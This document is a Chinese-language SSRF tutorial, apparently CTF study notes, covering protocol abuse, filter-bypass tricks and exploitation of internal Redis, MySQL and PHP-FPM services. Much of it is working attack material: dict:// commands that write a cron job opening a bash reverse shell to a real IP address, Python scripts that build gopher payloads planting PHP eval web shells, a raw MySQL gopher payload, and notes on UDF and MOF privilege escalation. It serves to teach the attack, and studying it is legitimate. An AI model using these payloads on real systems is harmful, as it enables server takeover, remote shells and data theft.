SSRF

概念

SSRF(Server-Side Request Forgery),即服务器端请求伪造,利用漏洞伪造服务器端发起请求,从而突破客户端获取不到数据限制,本质上是属于信息泄露漏洞。

漏洞原理

服务端提供了从其他服务器应用获取数据的功能且没有对地址和协议等做过滤和限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等,而且在大部分的web服务器架构中,web服务器自身是可以访问互联网和服务器所在的内网的,所以攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

常见漏洞函数

file_get_contents()

curl_exec()

fsockopen()

fopen()

协议

http(s)://

基础

1
2
http://target.com/fetch?url=http://internal-service/admin
https://target.com/fetch?url=https://internal-service/config

升级

1.HTTP重定向

1
2
3
# 设置一个重定向到内部服务的外部服务
http://target.com/fetch?url=http://attacker.com/redirect
# attacker.com返回302重定向到http://internal-service/

2.HTTP请求走私 在某些情况下,可以在HTTP请求中嵌入额外的HTTP请求

1
2
http://target.com/fetch?url=http://external-service/
X-Forwarded-For: internal-service

3.HTTP认证

1
http://target.com/fetch?url=http://user:password@internal-service/

file://

访问服务器本地文件系统

1.路径遍历

1
http://target.com/fetch?url=file:///var/www/html/../../../etc/shadow

2.特殊文件

1
2
http://target.com/fetch?url=file:///proc/self/environ
http://target.com/fetch?url=file:///proc/self/cmdline

3.列目录

某些情况下可用

1
http://target.com/fetch?url=file:///var/www/html/

dict://

dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源,但是在SSRF中如果可以使用dict协议那么就可以轻易的获取目标服务器端口上运行的服务版本等信息。

1.Redis命令执行:利用dict协议与Redis服务交互

2.Memcached数据提取:访问Memcached服务获取缓存数据。

gopher://

很强大的协议,在SSRF中经常会使用Gopher来构造GET/POST包攻击应用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache

ftp://

用于与FTP服务器交互

1
http://target.com/fetch?url=ftp://user:pass@192.168.1.10/

Bypass

利用[::]

IPV6地址 ::是全零地址的缩写

方括号 [] 专门用来包裹 IPv6 地址,明确告诉浏览器:“方括号里的是 IP,外面的冒号后才是端口。”

1
http://[::]:80/  >>>  http://127.0.0.1

利用@

浏览器会把@前面的视为用户名 @后面的才是真正的服务器地址

这里的example.com会被看作一个虚假的用户名

1
http://example.com@127.0.0.1

利用短地址

短地址(Short URL)将一个长链接转换为一个简短的混淆字符串,其核心原理是数据库映射HTTP 重定向

1
状态码重定向: 短网址服务器并不直接显示网页,而是向你的浏览器发送一个特殊的 HTTP 响应状态码(通常是 301 或 302),并在响应头的 Location 字段中写上 [http://127.0.0.1](http://127.0.0.1)。
1
http://dwz.cn/11SMa  >>>  http://127.0.0.1

利用302跳转

自己服务器上vim一个index.php

1
2
<?php
header("Location:http://127.0.0.1/flag.php");

然后payload访问自己这个地址就可以了。

利用DNS重绑定

利用 DNS 解析的 TTL 极短特性,通过两次解析将同一域名从“攻击者 IP”切换到“目标内网 IP”,从而绕过浏览器的同源策略,实现跨域访问内网资源。

1
2
3
4
5
6
7
8
9
第一步(诱敌深入): 你访问了 [http://evil.com](http://evil.com)。你的浏览器询问 DNS 服务器:evil.com 是谁?攻击者的 DNS 服务器回复:“它是 1.2.3.4(攻击者的真实 IP)”,并把这个解析结果的 TTL(缓存时间)设为 0(要求浏览器不要缓存)。

第二步(加载恶意脚本): 浏览器从 1.2.3.4 加载了一个包含恶意 JavaScript 的页面。

第三步(变脸): 页面里的脚本等待几秒钟后,再次向 [http://evil.com/api](http://evil.com/api) 发起请求。此时因为 TTL 为 0,浏览器再次询问 DNS:evil.com 是谁?

第四步(内网渗透): 攻击者的 DNS 服务器这次改口了:“它是 127.0.0.1(或你家里的路由器 IP)”。

第五步(跨界攻击): 浏览器认为域名还是 evil.com,符合同源策略,于是带着你的凭证去访问了本地服务。恶意脚本就这样拿到了你本地路由器或内网敏感服务的私密数据,并传回给攻击者。
1
DNS 重绑定是一种特定的技术,通常用于绕过 同源策略(Same-Origin Policy)。攻击者会通过操控 DNS 解析过程,伪装自己的域名,使其解析到受害者的内网 IP(例如 127.0.0.1 或 192.168.x.x)或云服务地址。这样,攻击者便能利用此技术攻击目标网络,执行多种漏洞利用方式

参考文章通过 DNS 重绑定的 SSRF 攻击内部云服务_dns rebinding-CSDN博客

https://lock.cmpxchg8b.com/rebinder.html

利用进制转换

八进制

在访问的时候加0表示使用八进制

1
http://0177.0000.0000.0001

十进制

1
http://2130706433

十六进制

访问加0x

1
http://0x7f000001

利用特殊地址

1
2
3
4
http://0/
http://0.0.0.0
http://127.0000000000000.001/flag.php
http://127.1/flag.php

利用句号绕过

1
http://127。0。0。1/flag.php

利用IPv6

有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。

利用IDN

一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ 和 example.com 等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符绕过内网限制。

绕过特定结尾开头

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
1
url=http://ctf.@127.0.0.1/flag.php#show

漏洞利用

读取本地文件

file或者load_file

file://etc/passwd这种 SSRF绕过技巧文章:https://sauy.top/2025/08/04/SSRF%E6%8A%80%E5%B7%A7%E6%80%BB%E7%BB%93/

探测内网端口

1
2
dict://127.0.0.1:22
dict://127.0.0.1:6379/info

Redis

Redis一般都是绑定在6379端口.如果没有设置口令(默认是无),攻击者就可以通过SSRF漏洞未授权访问内网Redis

未授权

1.定时任务来反弹shell

burp里操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 清空 key
dict://172.72.23.27:6379/flushall

# 设置要操作的路径为定时任务目录
dict://172.72.23.27:6379/config set dir /var/spool/cron/

# 在定时任务目录下创建 root 的定时任务文件
dict://172.72.23.27:6379/config set dbfilename root

# 写入 Bash 反弹 shell 的 payload
dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/47.109.207.123/2333 0>%261\n"

# 保存上述操作
dict://172.72.23.27:6379/save

2.gopher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import urllib.parse

protocol = "gopher://"
ip = "172.72.23.27"
port = "6779"
shell = "\n\n<?php eval($_POST[\"f4ke\"]);?>\n\n"
filename = "5he1l.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}"," ")))) + CRLF + x.replace("${IFS}"," ")
cmd += CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))

# print(payload)
print(urllib.parse.quote(payload))

弱认证

1
url=dict://172.72.23.28:6379/auth P@ssw0rd

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib.parse

protocol = "gopher://"
ip = "172.72.23.28"
port = "6379"
shell = "\n<?php eval($_GET[1]);?>\n"
filename = "2333.php"
path = "/var/www/html"
passwd = "P@ssw0rd"

# Redis 命令链(每个命令是一个列表,不要拼成字符串)
cmd = [
["flushall"],
["set", "x", shell],
["config", "set", "dir", path],
["config", "set", "dbfilename", filename],
["save"],
["quit"]
]

# 如果需要密码验证
if passwd:
cmd.insert(0, ["AUTH", passwd])


def redis_format(arr):
CRLF = "\r\n"
cmd = "*" + str(len(arr)) + CRLF
for arg in arr:
cmd += "$" + str(len(arg)) + CRLF + arg + CRLF
return cmd


if __name__ == "__main__":
payload = protocol + ip + ":" + port + "/_"
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)

然后

1
url=http://172.72.23.28/2333.php?1=system('ls');

执行命令即可

  完全禁用gopher/dict协议还可以打redis吗?

  可以,如果支持http协议的ssrf漏洞,同时还存在crlf漏洞,那么可以利用crlf+http打redis:

​ header CRLF

MYSQL查询数据

1
MySQL 需要密码认证时,服务器先发送 salt 然后客户端使用 salt 加密密码然后验证;但是当无需密码认证时直接发送 TCP/IP 数据包即可。所以这种情况下是可以直接利用 SSRF 漏洞攻击 MySQL 的。因为使用 gopher 协议进行攻击需要原始的 MySQL 请求的 TCP 数据包
1
2
3
4
5
6
7
def results(s):
a=[s[i:i+2] for i in range(0,len(s),2)]
return "gopher://172.72.23.29:3306/_%"+"%".join(a)

if __name__=="__main__":
s = "a100000185a23f0000000001080000000000000000000000000000000000000000000000726f6f7400006d7973716c5f6e61746976655f70617373776f72640064035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f706964033530380f5f636c69656e745f76657273696f6e06352e362e3531095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c210000000373656c65637420404076657273696f6e5f636f6d6d656e74206c696d697420313d0000000373656c656374202a2066726f6d20666c61672e7465737420756e696f6e2073656c656374207573657228292c277777772e73716c7365632e636f6d270100000001"
print(results(s))
1
gopher://172.72.23.29:3306/_%a1%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%64%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%03%35%30%38%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%3d%00%00%00%03%73%65%6c%65%63%74%20%2a%20%66%72%6f%6d%20%66%6c%61%67%2e%74%65%73%74%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%75%73%65%72%28%29%2c%27%77%77%77%2e%73%71%6c%73%65%63%2e%63%6f%6d%27%01%00%00%00%01

mysql get shell

1
2
3
4
secure_file_priv
null 表示限制mysqld 不允许导入或导出
/tmp/ 表示限制mysqld 的导入或导出只能发生在/tmp/目录下
没有具体值 表示不对mysqld 的导入或导出做限制

UDF提权

1
SSRF攻击MySQL仅仅查询数据意义不大,不如直接UDF提权然后反弹shell出来更加直接
1
官方定义:UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。 用户通过自定义函数可以实现在Mysql中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用利用MYSQL的自定义函数功能将Mysql账号转换为system权限。这样我们就可以直接执行命令,不用拘泥于数据库单独的权限。

mysql常见权限

权限级别 存储表 说明
全局权限 mysql.user 作用于整个实例(如 FILE, SUPER, PROCESS)。UDF 提权通常需要这里的权限。
数据库级 mysql.db 作用于某个特定的数据库。
表级 mysql.tables_priv 作用于特定的表。
列级 mysql.columns_priv 作用于表中的特定字段(极少使用)。

首先你要先知道mysql的插件目录

1
gopher://172.72.23.29:3306/_%a2%00%00%01%85%a2%3f%00%00%00%00%01%08%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%65%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%04%33%35%35%34%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%36%2e%35%31%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%21%00%00%00%03%73%65%6c%65%63%74%20%40%40%76%65%72%73%69%6f%6e%5f%63%6f%6d%6d%65%6e%74%20%6c%69%6d%69%74%20%31%20%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%0a%27%25%70%6c%75%67%69%6e%25%27%01%00%00%00%01

image-20250827171151947

可知插件目录为 /usr/lib/mysql/plugin

这里还可以使用一个工具 https://github.com/tarunkant/Gopherus python2环境

image-20250827181559783

版本区别

MySQL ≤ 5.1

  • UDF文件需放置在系统目录:
    • Windows:%windir%\system32(如C:\Windows\System32
    • Linux:/usr/lib

MySQL > 5.1

​ DF文件需放置在MySQL的插件目录(plugin_dir),可通过以下命令查看:

1
SELECT @@plugin_dir;
  • Windows示例:C:\Program Files\MySQL\MySQL Server X.X\lib\plugin
  • Linux示例:/usr/lib/mysql/plugin/
  • 原因:MySQL 5.1之后引入了独立的插件目录机制。
  • 限制与防御
    • 设置secure_file_priv为限制目录。
    • 以低权限运行MySQL服务。
    • 定期审计插件目录和UDF函数。

MySQL提权的其他方法
除了UDF提权,MySQL还有以下提权方式:

MOF提权(Windows):

原理:mof文件每分钟都会在一个特定的时间去执行一次的特性,利用SELECT INTO OUTFILE将恶意MOF(Managed Object Format)文件写入C:\Windows\System32\wbem\mof\目录,触发系统执行。

条件:需要MySQL以高权限运行,且secure_file_priv允许写入,在之前必须没有admin用户才能成功,windows 03及以下版本

1
MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权

启动项提权:

原理:将恶意脚本写入系统启动目录(如Windows的C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp),等待重启后执行。

条件:需要文件系统写权限。

日志文件提权:

原理:通过修改MySQL日志文件路径(如general_log_file),将恶意脚本写入可执行位置,并通过其他漏洞触发执行。

条件:需要控制日志配置权限。

利用MySQL root权限:

原理:若MySQL以root或SYSTEM权限运行,可直接通过SQL命令(如LOAD_FILE或INTO OUTFILE)操作系统文件或执行命令。

条件:拥有MySQL root账户权限。

fpm(FastCGI协议)

详细原理文章Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 | 离别歌

可以使用上述的工具

具体操作:

1
gopherus --exploit fastcgi

image-20250827183011056

即可打通